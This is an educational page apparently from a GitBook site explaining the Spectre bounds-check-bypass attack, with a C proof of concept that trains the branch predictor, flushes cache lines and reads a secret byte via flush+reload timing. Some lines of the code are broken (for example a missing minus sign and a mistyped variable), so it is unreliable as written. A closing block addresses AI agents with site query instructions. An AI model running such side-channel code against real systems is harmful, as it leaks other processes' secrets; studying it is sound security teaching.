# Spectre Attack: Exploiting Speculative Execution

What is **Speculative Execution**?\
**Speculative Execution** is an optimization technique where a computer system performs some task that may not be needed.

## Spectre Attack Mechanism

Spectre is a vulnerability that tricks a program into accessing arbitrary locations in the program's memory space. An attacker may read the content of accessed memory, and thus potentially obtain sensitive data.

## Attack Overview

Spectre attacks induce a victim to speculatively perform operations that would not occur during strictly serialized in-order processing of the program's instructions, and which leak victim's confidential information via a covert channel to the adversary.

## Exploiting Conditional Branch&#x20;

```c
if (x < array1_size)
    y = array2[array1[x] * 0x1000];
```

> The code above is in example of conditional branch

<figure><img src="/files/zGWc7ewuXO7D1ycLHIxq" alt=""><figcaption><p>Fig 1: conditional branch</p></figcaption></figure>

The bounds check optimizes execution speed by predicting the most likely branch target before confirming the outcome. However, if the prediction is incorrect (e.g., bounds check wrongly predicted as true), it may expose security vulnerabilities, allowing attackers to potentially leak sensitive information.

**Correct predictions** speed up execution, but speculative execution can be misled, as shown in this example with a manipulated code path.

* The value of x is maliciously chosen (out-of-bounds), such that array1 \[x] resolves to a secret byte k somewhere in the victim's memory;
* array1\_size and array2 are uncached, but k is cached;
* Previous operations received values of x that were valid, leading the branch predictor to assume the if will likely be true.

<pre class="language-c"><code class="lang-c">void spectreAttack (size_t index_beyond) {
    int i;
    uint8_t s;
<strong>    volatile int z;
</strong>    // Train the CPU to take the true branch inside restrictedAccess().
<strong>    for (i = 0; i &#x3C; 10; i++) {
</strong>        restrictedAccess(i);
    }
    // Flush bound_upper, bound_lower, and array [] from the cache.
    _mm_clflush(&#x26;bound_upper);
    _mm_clflush(&#x26;bound_lower);
    for (i = 0; i &#x3C; 256; i++) { _mm_clflush(&#x26;array [i*4096 + DELTA]); }
    for (z = 0; z &#x3C; 100; z++) { }
    // Ask restrictedAccess() to return the secret in out-of-order execution.
    S = restrictedAccess (index_beyond);
    array [s*4096 + DELTA] += 88;
}

void reloadSideChannel() {
    int junk=0;    
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i;
    for(i=0; i &#x3C; 256; i++) {
        addr = &#x26;array [i*4096 + DELTA];
        time1 = __rdtscp(&#x26;junk);
        junk = *addr;
        time2=__rdtscp(&#x26;junk) time1;
        
        if (time2 &#x3C;= CACHE_HIT_THRESHOLD) {
            printf("The Secret = %d (%c).\n", i, i);
        }
    }
}

int main() {
    flushSideChannel();
    size_t index_beyond = (size_t) (secret (char*)buffer);
    spectreAttack (index_beyond);
    reloadSideChannel();
    return (0);
}
</code></pre>

<figure><img src="/files/mFQa1zcF8pl9ofDQ1Jkb" alt=""><figcaption><p>Fig 2: Leaked Secret</p></figcaption></figure>

Which is in fact our secret!.

## References

<https://spectreattack.com/spectre.pdf>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://iq0.gitbook.io/iq0/a/spectre.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
